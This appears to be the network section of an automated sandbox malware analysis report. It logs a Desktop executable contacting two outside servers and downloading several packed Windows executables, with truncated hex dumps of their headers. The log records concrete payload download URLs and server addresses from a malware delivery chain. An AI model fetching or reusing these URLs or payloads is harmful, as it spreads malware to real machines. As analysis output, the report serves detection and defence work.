May 24, 2024 09:42:04.177788019 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:03 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Length: 4480 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 65 4f 7a 32 39 35 31 67 47 30 4c 79 53 56 4b 64 4c 47 57 34 65 57 2f 55 6e 59 38 65 79 49 66 44 5a 6f 2f 31 2f 2f 2b 31 74 44 34 69 5a 51 2b 32 45 54 75 47 72 4b 79 76 64 4d 6d 34 42 4a 34 4b 48 42 49 36 42 30 52 78 31 6d 76 37 43 39 6b 4e 50 6f 46 34 38 61 6e 4c 32 48 53 5a 34 73 4c 58 42 42 6f 54 74 6d 6c 48 34 44 4c 62 6b 6c 6f 33 78 6b 58 36 6f 79 42 46 4d 65 76 32 7a 6f 43 4b 4c 4e 68 4d 58 36 31 6f 4d 35 71 64 73 63 55 69 6a 68 47 35 58 69 35 74 69 6f 78 46 48 6d 55 7a 42 70 61 68 33 55 62 56 58 31 76 6a 30 55 64 4a 62 65 6d 31 6f 71 78 59 66 57 47 2f 30 69 6f 6e 59 37 45 49 47 38 4e 34 77 35 34 6b 47 44 34 4e 6d 61 35 50 63 37 56 55 4a 51 34 36 71 4f 69 62 7a 78 55 78 2f 78 62 67 76 35 62 59 74 37 45 48 7a 7a 4c 78 57 74 4a 41 41 36 4d 68 2b 51 48 64 74 34 51 6d 6d 48 46 6a 42 58 47 4a 6b 76 62 75 49 4f 64 49 57 6e 39 4a 59 65 74 4a 35 32 50 69 4f 2f 4a 55 4a 6c 50 30 58 47 53 58 4f 6b 47 43 52 77 41 4c 35 73 4a 64 78 71 4c 58 61 6e 37 4f 6a 62 4b 50 63 77 4b 62 55 78 43 73 48 49 6c 61 39 32 [TRUNCATED] Data Ascii: eOz2951gG0LySVKdLGW4eW/UnY8eyIfDZo/1//+1tD4iZQ+2ETuGrKyvdMm4BJ4KHBI6B0Rx1mv7C9kNPoF48anL2HSZ4sLXBBoTtmlH4DLbklo3xkX6oyBFMev2zoCKLNhMX61oM5qdscUijhG5Xi5tioxFHmUzBpah3UbVX1vj0UdJbem1oqxYfWG/0ionY7EIG8N4w54kGD4Nma5Pc7VUJQ46qOibzxUx/xbgv5bYt7EHzzLxWtJAA6Mh+QHdt4QmmHFjBXGJkvbuIOdIWn9JYetJ52PiO/JUJlP0XGSXOkGCRwAL5sJdxqLXan7OjbKPcwKbUxCsHIla92KiHlqwWXFKd/Yo3WFyhJI1Q15nS3vm7EDAtLAVoFBs1G4C6Vhs56NIoQl1xmXYlhPlJGoAVTGqQGNsmvWasTLtGLLYLKEfJOYvtWK/90RwtKqqc6dtvX89illFyvbu6bCHLWc56QvBoI/zhcamUi45XGC4PdinFnyBBKR2NXkObdOCEiyejEXu27N6Q7Yl9iQv17WpO950+WwUIolg0QhbWqTb01oith/hsGwlcAGVZJ1Iubs3xzGKswlhwhaqluX2R4DwbaQe92G1Yq+psGd2yxoakpbSWNgmB4U1BqRbr2mnAFEzHEvsZaGTICk4HlqEdEbsqUDlWlobaEdYCCUnEiDOeYJZYInHrCZijZA2bKvz3mFdxV95boUk/gEqIT3OZ8cJujw2A8Xxpz3tLBxQirC1cQsJPAmA4hE35uv+0EDBfsCLZtI6yocS/aE+0fLRrLd6K1zRag/kyP9rZRK8SJdYdIud3oWgkzgLBwg7YSFwnkuSEvfi+24kRtPCVPJJ3lkBHdOBj4DqBzMs5faEEIHocRiF9NuWoFkjzz2f732iO9u1O/f5yCUj5/bWl0hZ1qmn1ZsdN76ZtT6ZdzO2taa4+V84Ed/91eIpzAvJsMATzQjMQlKkC+hSW/RRCmsgE
May 24, 2024 09:42:04.177978992 CEST	1236	IN	Data Raw: 45 72 77 76 55 52 33 30 41 57 70 68 4c 54 32 61 42 69 56 76 47 44 49 30 58 71 4f 53 74 59 67 65 30 32 53 58 65 71 73 4e 62 41 61 4c 57 4e 6d 35 79 54 33 48 2b 51 42 6a 58 5a 35 6b 70 47 2b 52 4d 56 4a 32 62 34 6d 67 70 30 43 4e 6c 66 51 43 70 6c Data Ascii: ErwvUR30AWphLT2aBiVvGDI0XqOStYge02SXeqsNbAaLWNm5yT3H+QBjXZ5kpG+RMVJ2b4mgp0CNlfQCplygsJACss+yxmweruIhQQW0ASn2sWRZNg1vCwHR4oOy142C316y58WWqXCDwMhypPTq1JuyV7xKfApx/LwagbvZGnAIXlbV0uFDmrql+Hv9KzkYUr4yuU+09vMI7t//9ew860IoeHGubyaQNnlSL6tVkMvqxqRWb+z
May 24, 2024 09:42:04.181308985 CEST	1236	IN	Data Raw: 33 56 4a 67 79 50 76 4b 70 74 4b 59 7a 51 6b 50 5a 52 70 70 54 39 65 47 46 4e 32 32 7a 7a 6b 72 37 4d 30 36 53 79 57 4e 54 4c 65 44 37 75 69 32 42 69 79 73 43 61 70 6e 46 5a 59 75 48 6c 78 52 7a 6f 46 71 61 4f 79 4b 55 58 77 30 44 79 2f 53 71 68 Data Ascii: 3VJgyPvKptKYzQkPZRppT9eGFN22zzkr7M06SyWNTLeD7ui2BiysCapnFZYuHlxRzoFqaOyKUXw0Dy/SqhAv6mfPeHbYw1xR2UqlkRD4e8gDlK438zMcTh+aBrSL9X1YDOOX/JyL8EhShhNodzmNiKLPa1PxHiv10J84vz5Fzv6bhGsgQ22pGccHZDnFheQ34ltSHYwU5R+6LcqTB3eLw+mmWHwo4M6GemXySCVDVf3uApEb9Th
May 24, 2024 09:42:04.184865952 CEST	1027	IN	Data Raw: 6d 2f 74 74 76 45 50 59 38 41 53 54 4a 58 6a 69 47 58 77 71 6f 63 36 35 2b 53 63 6d 4b 34 4e 77 54 53 6c 52 71 64 7a 38 2b 6e 52 52 31 32 41 7a 37 33 74 74 48 4a 52 72 73 31 37 59 5a 44 6c 31 4d 66 50 76 65 2f 67 74 68 4a 37 31 36 79 7a 67 73 65 Data Ascii: m/ttvEPY8ASTJXjiGXwqoc65+ScmK4NwTSlRqdz8+nRR12Az73ttHJRrs17YZDl1MfPve/gthJ716yzgseoUz9nP2lAK/5K0C98ui4Sxga7o0YoS95k9TERpCP3tG77y/UmIfgC0IbDeorGuoZetQ7eN5dWCxaPQKyM041MQ1az+pmzJDrqTwxWkWSQWgs70d9ltI9dx7ZCZOeJbaYJMrTpwnGRW3L2rx+PPJrRFxefK6QxYgVI
May 24, 2024 09:42:04.236807108 CEST	1027	IN	Data Raw: 6d 2f 74 74 76 45 50 59 38 41 53 54 4a 58 6a 69 47 58 77 71 6f 63 36 35 2b 53 63 6d 4b 34 4e 77 54 53 6c 52 71 64 7a 38 2b 6e 52 52 31 32 41 7a 37 33 74 74 48 4a 52 72 73 31 37 59 5a 44 6c 31 4d 66 50 76 65 2f 67 74 68 4a 37 31 36 79 7a 67 73 65 Data Ascii: m/ttvEPY8ASTJXjiGXwqoc65+ScmK4NwTSlRqdz8+nRR12Az73ttHJRrs17YZDl1MfPve/gthJ716yzgseoUz9nP2lAK/5K0C98ui4Sxga7o0YoS95k9TERpCP3tG77y/UmIfgC0IbDeorGuoZetQ7eN5dWCxaPQKyM041MQ1az+pmzJDrqTwxWkWSQWgs70d9ltI9dx7ZCZOeJbaYJMrTpwnGRW3L2rx+PPJrRFxefK6QxYgVI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	147.45.47.149	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.386579990 CEST	209	OUT	HEAD /vape/niko.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 147.45.47.149:54674 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	5.42.66.10	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.431566954 CEST	213	OUT	HEAD /download/th/getimage12.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 09:42:05.133013010 CEST	394	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=Default12_v2.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 3134976 Content-Type: application/octet-stream
May 24, 2024 09:42:05.133264065 CEST	208	OUT	HEAD /download/th/space.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 09:42:05.424082994 CEST	392	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=default_v2.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 3098112 Content-Type: application/octet-stream
May 24, 2024 09:42:05.424345970 CEST	212	OUT	GET /download/th/getimage12.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 09:42:05.644553900 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=Default12_v2.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 3134976 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 8c 18 00 00 00 00 00 fa 61 35 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 70 00 00 04 00 00 af 9e 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e0 3f 33 00 2c 01 00 00 00 f0 5a 00 02 26 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 5a 00 5c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 70 2d 00 18 00 00 00 50 c7 5a 00 40 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELiLf'a5@ p0@?3,Z&Z\xp-PZ@0+A8@.text `.rdata2~@@.data0IP@.vmp `.vmp0+@.vmp /@+/ `.reloc\Z/@@.rsrc&Z /@@
May 24, 2024 09:42:05.644794941 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: h:Y16,B1
May 24, 2024 09:42:05.645190954 CEST	1236	IN	Data Raw: 36 00 00 00 00 00 73 00 00 80 00 00 00 00 3c bb 39 00 00 00 00 00 c2 de 2f 00 00 00 00 00 0e b5 35 00 00 00 00 00 04 12 33 00 00 00 00 00 6e aa 37 00 00 00 00 00 5e 12 34 00 00 00 00 00 ae bd 3c 00 46 2f 3c 00 ce 50 39 00 08 b3 5a 00 30 5f 32 00 Data Ascii: 6s<9/53n7^4<F/<P9Z0_2J1
May 24, 2024 09:42:05.645224094 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 24, 2024 09:42:05.649364948 CEST	1236	IN	Data Raw: fe db f5 0c d5 bc fc 11 17 25 14 df 67 72 ef fe 21 17 e5 bb 38 6f d3 6e 17 85 47 6e 3e cb 9f 0f 74 b7 8b cf 35 56 32 4f ff 40 8c 9f 07 e4 55 e6 ab 33 54 c6 07 cc f1 21 ce 98 09 aa a7 1a 4b 8a d1 46 5c c5 e8 29 1b 6e 17 f5 4e 96 45 65 75 74 31 64 Data Ascii: %gr!8onGn>t5V2O@U3T!KF\)nNEeut1d}u8u{eGF-#-uQ)S#O&{!s$\&x\->ca03~,c\)BS4u`u A5CyY1cmq(GFBX}s&5&>
May 24, 2024 09:42:05.649395943 CEST	32	IN	Data Raw: 6b 00 00 bb 7c 8d b5 32 b0 1d 00 00 3c 76 c8 dc 40 5b c0 f3 4c e6 ff 56 de fc dc 27 23 71 b5 84 Data Ascii: k\|2<v@[LV'#q
May 24, 2024 09:42:05.756766081 CEST	1236	IN	Data Raw: 70 cd 5a e6 a9 aa c7 50 eb dd 1e 07 0f 9e c9 64 c6 77 6d 0b e1 11 7b 58 84 ee 08 91 f7 00 bf 94 12 50 6c 46 ea 8d 1e 47 33 5a d3 54 5d 65 00 00 00 00 7c 57 b0 bf 11 3d 44 78 9b 41 c0 14 38 19 05 cf bb 2c 67 85 89 f5 99 2d 6c 85 a0 19 32 64 e1 c9 Data Ascii: pZPdwm{XPlFG3ZT]e\|W=DxA8,g-l2d!vx)`=8Y:_5``ak8UM;"9XJ$hM'.X4+kh\aZQaaa9R8V[.z\oEmqw'cEAI}`
May 24, 2024 09:42:05.757021904 CEST	1236	IN	Data Raw: d5 e7 d1 c3 0b 03 43 02 08 1b 61 6d 67 8d 7d 77 04 d8 d2 ea 3c 5a 45 28 cf cc 8a f8 ab cd 43 60 6a 08 92 4f 64 51 43 8b 83 43 45 e8 1b 61 6d 76 7c 95 9f 1a ab 21 01 98 92 7b f1 d8 52 3d 72 e9 2f 4a c3 a1 3e 5e 49 c5 e7 fc 45 90 98 55 78 2b 52 27 Data Ascii: Camg}w<ZE(C`jOdQCCEamv\|!{R=r/J>^IEUx+R'UlambO\@Ka`x}Ws\|O5y'q&]EIV)$TY>l1iME1iV4qF`9~\|GOk
May 24, 2024 09:42:05.757208109 CEST	448	IN	Data Raw: 1e 45 7e 03 ef 7e 0b 54 a6 73 73 63 fe fe 6e f3 8a eb 0d 01 dd 8e 01 c8 24 81 1f 20 a5 fa 49 2d 81 19 fe 45 50 ce 4c c7 c2 b0 57 fe 8d 22 4f c4 bf d9 88 fe ce 22 fe fa 53 d9 f9 32 a7 e6 08 a4 0b 19 a8 26 1e 35 41 f2 79 17 fe fb 03 d4 86 4b 0a 14 Data Ascii: E~~Tsscn$ I-EPLW"O"S2&5AyK h)\|?)h"m-/\$nL4${hdo@Xhp#h\|5?XG\|\U*PW.re{.$ywpwp`'r Cw\0m]M\|4lu
May 24, 2024 09:42:05.757426977 CEST	1236	IN	Data Raw: 00 8b 44 25 00 e9 41 90 22 00 ed 89 b3 54 15 1d 71 b2 d8 10 45 7d d0 12 50 b8 e5 bd 38 1a c8 c0 75 0d 00 c2 69 a0 cc b5 89 6a d9 10 85 e4 e4 75 f2 55 6b 00 00 00 80 74 5f 52 9f 2d aa aa 94 ff ff ff 7f e7 65 af c4 ff b4 2f dd d9 8d e9 35 16 25 08 Data Ascii: D%A"TqE}P8uijuUkt_R-e/5%p$4.1KB8/S4F\|>>2'cTk;$Rib40NbmOb-0+-/'m1@".~_kQmkR'
May 24, 2024 09:42:05.758922100 CEST	1236	IN	Data Raw: f1 31 85 8c 09 4d 14 de f1 1b 1b e9 f2 f4 53 df 10 af dc 35 6c 77 43 1a 11 2e 91 f1 5c d7 f1 1c 6c c3 fc 8e a6 ff dd 84 42 f1 8f 13 ea 92 cb 21 c0 b6 33 66 61 49 1e 15 13 c0 c7 df d8 e2 6e 39 11 46 07 58 c2 ac 5a cf 46 b3 81 27 89 73 59 1a 8f bc Data Ascii: 1MS5lwC.\lB!3faIn9FXZF'sYqmbtK7(fh&vH[^-o*R]B{cYDSAdYk7v\|6f)W~2>.NCjl7~.d$GyFOSk1Ih
May 24, 2024 09:42:08.474710941 CEST	208	OUT	GET /download/th/retail.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 09:42:08.692173004 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=Retailer_prog.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 3063296 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 8c 18 00 00 00 00 00 0c a0 2d 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 6e 00 00 04 00 00 8a c8 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3c 14 2e 00 2c 01 00 00 00 80 59 00 02 26 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 59 00 38 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 98 3c 00 18 00 00 00 10 50 59 00 40 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELiLf'-@n.@<.,Y&`Y8@<PY@;@.text `.rdata2~@@.data0IP@.vmp) `.vmp@.vmpw.*x. `.reloc8`Y.@@.rsrc&Y .@@
May 24, 2024 09:42:10.793076992 CEST	207	OUT	GET /download/th/space.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 09:42:11.018929958 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:10 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=default_v2.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 3098112 Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 14 69 4c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 bc 15 00 00 8c 18 00 00 00 00 00 00 65 2d 00 00 10 00 00 00 d0 15 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 6f 00 00 04 00 00 71 72 2f 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 f8 8c 4b 00 2c 01 00 00 00 20 5a 00 02 26 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5a 00 14 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 50 45 00 18 00 00 00 70 f6 59 00 40 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELiLf'e-@Poqr/@K, Z&ZPEpY@`0+@.text `.rdata2~@@.data0IP@.vmplI `.vmp@.vmp@.+/ `.relocZ/@@.rsrc& Z &/@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49735	5.42.66.10	80	6852	C:\Users\user\Desktop\BI6oo9z4In.exe

Timestamp	Bytes transferred	Direction	Data
May 24, 2024 09:42:04.431699038 CEST	204	OUT	HEAD /download/123p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 09:42:05.100295067 CEST	276	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:04 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 02 May 2024 09:42:48 GMT ETag: "ae0000-617756d063600" Accept-Ranges: bytes Content-Length: 11403264 Content-Type: application/x-msdownload
May 24, 2024 09:42:05.100584984 CEST	209	OUT	HEAD /download/th/retail.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 09:42:05.329873085 CEST	395	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Content-Description: File Transfer Content-Disposition: attachment; filename=Retailer_prog.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public Content-Length: 3063296 Content-Type: application/octet-stream
May 24, 2024 09:42:05.330550909 CEST	203	OUT	GET /download/123p.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: 5.42.66.10 Cache-Control: no-cache
May 24, 2024 09:42:05.563534975 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 07:42:05 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Thu, 02 May 2024 09:42:48 GMT ETag: "ae0000-617756d063600" Accept-Ranges: bytes Content-Length: 11403264 Content-Type: application/x-msdownload Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 0a 00 e2 5f 33 66 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 00 00 80 00 00 00 2c ca 00 00 00 00 00 60 8b fa 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 a5 01 00 04 00 00 00 00 00 00 02 00 20 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 30 36 91 01 64 00 00 00 00 90 a5 01 58 2c 00 00 00 59 a5 01 fc 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 8a 8c 01 28 00 00 00 c0 57 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEd_3f#,`@ 06dX,Y*(W8h.text~ `.rdata@@.data@.pdata@@.00cfg@@.tls@.text0, `.text18@.text2`h.rsrcX,.@@
May 24, 2024 09:42:05.564522982 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c 99 89 01 00 00 00 00 00 00 00 00 00 00 00 00 ca 6a Data Ascii: jjEfD_0,
May 24, 2024 09:42:05.564557076 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
May 24, 2024 09:42:05.566586971 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 9:6.L0>2&V>bKQogsl!)HOKRgK7c=J\| }uBCH=aoAiut5
May 24, 2024 09:42:05.566620111 CEST	256	IN	Data Raw: 79 cd 43 10 3e 17 a7 7c 81 1b a3 7b 64 c0 26 12 44 33 67 40 b6 31 23 6f 1e bc dc b9 d5 5d 9b a3 eb db b9 71 78 5c 15 48 93 dd d9 e0 43 23 17 0b b3 fd 5d 14 24 67 9f dd 5d 51 86 96 b5 89 fc f0 45 ce 95 3a 7a 72 50 0a f3 b4 5a 8a 38 0a f3 b4 62 8a Data Ascii: yC>\|{d&D3g@1#o]qx\HC#]$g]QE:zrPZ8b(jjB@Rc8 ; L\l[[g7-#9cAJCzu[ad? n??$??\|Ekti(:OoGe=
May 24, 2024 09:42:05.670521021 CEST	1236	IN	Data Raw: 49 ce b4 f9 3b d3 13 4d 9b 26 b3 f7 97 81 c8 f5 4c 6b ff cb 3f 61 8a f3 70 85 8e 7e 33 21 13 17 02 47 de d8 44 97 59 7d d0 ba 42 da 7e 13 db cc e4 c3 54 e1 8a 58 a1 f5 c8 28 7e d8 a3 de 5c e8 66 d8 a3 de 48 f0 36 d8 a3 de 04 f0 6e d8 a3 de b4 84 Data Ascii: I;M&Lk?ap~3!GDY}B~TX(~\fH6n,L'<HpN,HD$ F:4t$Hd$ :meI;)g&OKK=oK%wKU5KOKL)hS\|<,2rPMRb2L<H
May 24, 2024 09:42:05.670614004 CEST	64	IN	Data Raw: 3a 13 5b 99 04 f3 b4 73 6b a9 04 f3 b4 0b 0b 19 46 ce b4 85 34 9f 37 d9 94 26 b3 0b ab 99 fa 0c 4b 8b d3 71 fa 0c 4b f3 83 31 fa 0c 4b 4b 03 99 8e 62 4b e4 b6 af 61 1b 5f 73 98 ff a6 33 85 a2 Data Ascii: :[skF47&KqK1KKbKa_s3
